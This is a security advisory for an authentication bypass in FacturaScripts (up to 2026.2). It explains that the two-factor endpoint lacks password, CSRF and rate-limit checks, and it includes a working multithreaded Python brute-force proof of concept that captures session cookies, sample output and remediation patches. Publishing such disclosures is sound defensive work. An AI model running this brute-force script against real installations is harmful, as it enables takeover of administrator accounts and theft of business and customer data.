---
id: CVE-2026-47677
aliases:
  - GHSA-c67f-gmxw-mj93
title: 'FacturaScripts: Account takeover of any 2FA-enabled user'
summary: 'FacturaScripts: Account takeover of any 2FA-enabled user'
severity: critical
cwe:
  - CWE-287
vendor: facturascripts
product: facturascripts/facturascripts
ecosystem: composer
affected:
  - facturascripts/facturascripts <= 2026.2
patched:
  - facturascripts/facturascripts 2026.3
published: '2026-07-13'
updated: '2026-07-13'
source: GHSA
sourceUrl: 'https://github.com/advisories/GHSA-c67f-gmxw-mj93'
references:
  - url: >-
      https://github.com/NeoRazorX/facturascripts/security/advisories/GHSA-c67f-gmxw-mj93
  - url: 'https://github.com/NeoRazorX/facturascripts/releases/tag/v2026.3'
  - url: 'https://github.com/advisories/GHSA-c67f-gmxw-mj93'
tags:
  - ghsa
  - composer
ingestedAt: '2026-07-14T00:31:48.654Z'
---

## Overview

# Authentication bypass in FacturaScripts: `/login?action=two-factor-validation` accepts brute-forceable TOTP without password or CSRF protection

## Summary

`Core/Controller/Login.php::twoFactorValidationAction()` accepts an
unauthenticated POST containing only `fsNick` and `fsTwoFactorCode`. If the
TOTP value matches, the server issues a full `fsNick` + `fsLogkey` session
cookie pair. The handler:

1. **Does not verify the password** — the user is not required to have just
   completed `loginAction`.
2. **Does not call `validateFormToken()`** — no CSRF token is required (every
   other action handler in the same file does call it).
3. **Does not call `userHasManyIncidents()` before processing** — `loginAction`
   and `changePasswordAction` both check this guard *before* doing work; the
   2FA handler only writes to the incident list *after* a failure, and the
   incident list is consulted by `loginAction` / `changePasswordAction` but
   not by the 2FA handler itself. The endpoint therefore has **no
   rate-limiting at all**.

Combined with `TwoFactorManager::VERIFICATION_WINDOW = 8` (google2fa default
is 1), 17 distinct six-digit codes are valid simultaneously and each remains
valid for ~4 minutes. The expected number of guesses to land a valid code is

> N ≈ ln(0.5) / ln(1 − 17 / 10⁶) ≈ **40 800** attempts (50% success)

On a default LAMP install a single-laptop attacker sustains ~400 RPS from
one source IP — a few minutes per account.

The vulnerability gives **complete account takeover** of any 2FA-enabled
user to any unauthenticated network attacker who knows the target's nick.
Admin nicks are typically public information (`admin`, the company name,
the person's initials).

## Severity

**CVSS 4.0 base score: 9.3 — Critical**

Vector: `CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N`

| Metric | Value | Rationale |
|---|---|---|
| Attack Vector (AV) | Network (N) | One HTTP POST over the public internet. |
| Attack Complexity (AC) | Low (L) | No timing, configuration, or environmental conditions. |
| Attack Requirements (AT) | None (N) | The vulnerable code path runs on every default install; the bug applies to every 2FA-enabled user. |
| Privileges Required (PR) | None (N) | The endpoint accepts the attack unauthenticated. |
| User Interaction (UI) | None (N) | No user action; the victim only has to have 2FA enabled. |
| Vulnerable Confidentiality (VC) | High (H) | Full read access as the hijacked user (admin → entire database). |
| Vulnerable Integrity (VI) | High (H) | Full write access as the hijacked user. |
| Vulnerable Availability (VA) | Low (L) | Side effect: failed 2FA attempts accumulate in the per-user incident counter, which then blocks the legitimate user from logging in via `loginAction` for 10 minutes (`MAX_INCIDENT_COUNT = 6`, `INCIDENT_EXPIRATION_TIME = 600`). Targeted account-lockout DoS against any nick. |
| Subsequent (SC / SI / SA) | None | No second-system pivot from the bug itself. |

Threat metrics:

- Exploit Maturity (E): **Attacked (A)** — public PoC included below, runs out of the box.

## Affected component

- File: `Core/Controller/Login.php`
- Method: `twoFactorValidationAction()` (lines 317–328 in the repository at commit `7392b489b`, master branch as of 2026-05-13).
- Related: `Core/Lib/TwoFactorManager.php:30` (`VERIFICATION_WINDOW = 8`).

Vulnerable code:

```php
protected function twoFactorValidationAction(Request $request): void
{
    $userName = $request->input('fsNick');
    $user = new User();
    if (!$user->load($userName) || !$user->verifyTwoFactorCode($request->input('fsTwoFactorCode'))) {
        Tools::log()->warning('two-factor-code-invalid');
        $this->saveIncident(Session::getClientIp(), $userName);
        return;
    }

    $this->updateUserAndRedirect($user, Session::getClientIp(), $request);
}
```

Compare with `loginAction` in the same file, which calls
`validateFormToken()` (line 275) and `userHasManyIncidents()` (line 287)
*before* doing any work. The 2FA handler does neither.

## Proof of concept

### 1. Brute force when only the victim's nick is known

This requires **no prior
knowledge** beyond the target's nick. Because the 2FA endpoint has no
rate-limiting and `VERIFICATION_WINDOW=8` keeps ~17 codes valid at once,
random guessing finds a valid code in seconds to minutes from a single IP.

`poc_2fa_brute.py`:

```python
#!/usr/bin/env python3
"""
PoC: brute-force the 2FA endpoint.
Required: pip install requests
"""
import os, sys, time, random, threading, requests

BASE      = os.environ.get("BASE",      "http://localhost:9999")
NICK      = os.environ.get("NICK",      "admin")
THREADS   = int(os.environ.get("THREADS",   "32"))
MAX_TRIES = int(os.environ.get("MAX_TRIES", "200000"))

hit = threading.Event()
attempt_count = [0]
lock = threading.Lock()
start = time.time()
result = {}

def worker(tid: int) -> None:
    s = requests.Session()
    while not hit.is_set():
        with lock:
            n = attempt_count[0]
            if n >= MAX_TRIES:
                return
            attempt_count[0] += 1
        code = f"{random.randint(0, 999999):06d}"
        try:
            r = s.post(f"{BASE}/login",
                       data={"action": "two-factor-validation",
                             "fsNick":  NICK,
                             "fsTwoFactorCode": code},
                       allow_redirects=False, timeout=5)
        except requests.RequestException:
            continue
        sc = r.headers.get("Set-Cookie", "")
        if r.status_code == 302 and "fsLogkey" in sc:
            with lock:
                if hit.is_set():
                    return
                hit.set()
                result["code"]    = code
                result["n"]       = n
                result["cookies"] = {c.name: c.value for c in r.cookies}
            return

def main() -> int:
    print(f"[*] target={BASE}  nick={NICK}  threads={THREADS}")
    threads = [threading.Thread(target=worker, args=(i,), daemon=True)
               for i in range(THREADS)]
    for t in threads: t.start()
    while not hit.is_set() and attempt_count[0] < MAX_TRIES:
        time.sleep(2)
        elapsed = time.time() - start
        print(f"  [{elapsed:5.1f}s] attempts={attempt_count[0]:>7d}  "
              f"rps={attempt_count[0]/max(elapsed,1):.0f}", flush=True)
    for t in threads: t.join()
    elapsed = time.time() - start
    if hit.is_set():
        print(f"\n[+] FOUND code={result['code']} after {result['n']:,} "
              f"attempts in {elapsed:.1f}s")
        cookie_hdr = "; ".join(f"{k}={v}" for k, v in result["cookies"].items())
        print(f"[+] Cookies: {cookie_hdr}")
        print(f"\n    curl --cookie '{cookie_hdr}' {BASE}/ListUser")
        return 0
    print(f"[-] {attempt_count[0]:,} attempts in {elapsed:.1f}s, no hit")
    return 1

if __name__ == "__main__":
    sys.exit(main())
```

Observed result against the same install (victim user has 2FA enabled,
attacker knows only the nick `victim`):

```
[*] target=http://localhost:9999  nick=victim  threads=32
  [  2.2s] attempts=   1094  rps=  493
  [ 24.4s] attempts=  11535  rps=  473
  [ 50.0s] attempts=  23420  rps=  468
  [100.7s] attempts=  41247  rps=  410
  [144.9s] attempts=  55418  rps=  383

[+] FOUND code=055473 after 55,773 attempts in 146.0s
[+] Cookies: fsNick=victim; fsLogkey=47qZDmjcHaS2z2pLsqKWsKbb8vlGfZaYEiUUfcvWHlDXSZlI9LFg8ux7EYX1fzTkeNSgM5ASQ7s5ohr8ROAclvlK1GCxACia21N; fsLang=en_EN
```

A second run terminated in 24.6 s after 11 569 attempts. Both runs used a
single source IP with no proxy rotation, no HTTP/2, no parallel hosts.

## Impact

For each 2FA-enabled user (including admins):

- **Confidentiality**: full read access to anything the victim can see —
  invoices, customer data, suppliers, accounting ledgers, attached files,
  user PII, API keys, plugin configuration.
- **Integrity**: full write access — create/modify/delete records, change
  permissions, issue new API keys, upload plugins, install code (admin).
- **Availability**: targeted account lockout DoS — generating six failed
  2FA attempts (≪ 1 s of brute-force noise) pushes the per-user incident
  counter past `MAX_INCIDENT_COUNT = 6`, blocking the legitimate user from
  `loginAction` for 10 minutes. Repeatable indefinitely.

The vulnerability defeats the entire purpose of 2FA in FacturaScripts:
enabling 2FA on an account today is strictly *weaker* than not enabling
it, because it adds an unauthenticated, brute-forceable login path that
wasn't present before.

## Remediation

Four independent fixes are required; each closes a distinct gap and any
one alone is insufficient.

1. **Require evidence the user just completed the password step.** In
   `loginAction`, after `verifyPassword` succeeds and 2FA is required,
   write a short-lived nonce keyed by `(client_ip, user_nick)` to the
   shared cache (e.g. `Cache::set("2fa-pending-{ip}-{nick}", $nonce,
   ttl=300)`). `twoFactorValidationAction` must read, validate, and
   delete that nonce before calling `verifyTwoFactorCode`. Without the
   nonce, return immediately.

2. **Call `validateFormToken($request)` at the top of
   `twoFactorValidationAction`.** Every other action handler in the
   controller does this; the 2FA handler should too. Eliminates
   drive-by CSRF submissions.

3. **Call `userHasManyIncidents(Session::getClientIp(), $userName)`
   before doing any work in `twoFactorValidationAction`**, and bail
   out if the threshold is exceeded. This is the missing rate-limit
   pre-check.

4. **Reduce `TwoFactorManager::VERIFICATION_WINDOW` from 8 to 1.**
   The google2fa default is 1 (±30 s). A window of 8 multiplies the
   brute-force success rate by 17× for no legitimate reason — TOTP
   apps and the server clock are typically synchronised within a
   single 30-second step.

Suggested patch (illustrative):

```php
// Core/Controller/Login.php
protected function twoFactorValidationAction(Request $request): void
{
    if (false === $this->validateFormToken($request)) {                       // fix 2
        return;
    }
    $userName = $request->input('fsNick');
    if ($this->userHasManyIncidents(Session::getClientIp(), $userName)) {     // fix 3
        Tools::log()->warning('ip-banned');
        return;
    }
    $nonceKey = '2fa-pending-' . Session::getClientIp() . '-' . $userName;
    if (false === Cache::get($nonceKey)) {                                    // fix 1
        Tools::log()->warning('two-factor-no-pending-login');
        $this->saveIncident(Session::getClientIp(), $userName);
        return;
    }
    Cache::delete($nonceKey);

    $user = new User();
    if (!$user->load($userName) || !$user->verifyTwoFactorCode($request->input('fsTwoFactorCode'))) {
        Tools::log()->warning('two-factor-code-invalid');
        $this->saveIncident(Session::getClientIp(), $userName);
        return;
    }
    $this->updateUserAndRedirect($user, Session::getClientIp(), $request);
}

// Core/Lib/TwoFactorManager.php
private const VERIFICATION_WINDOW = 1; // fix 4 — was 8
```

`loginAction` then needs the matching nonce write where it currently
sets `$this->two_factor_user`:

```php
if ($user->two_factor_enabled) {
    Cache::set('2fa-pending-' . Session::getClientIp() . '-' . $user->nick,
               bin2hex(random_bytes(16)), 300);
    $this->two_factor_user = $user->nick;
    $this->template = 'Login/TwoFactor.html.twig';
    return;
}
```

## Reproduction

Tested on a clean install built from `master` at commit `7392b489b`:

```bash

# brute force (only nick known) — secret on the server can be anything
NICK=victim THREADS=32 .venv/bin/python poc_2fa_brute.py
```

## Affected packages

- `facturascripts/facturascripts <= 2026.2`

## Remediation

Upgrade to a patched release:

- `facturascripts/facturascripts 2026.3`
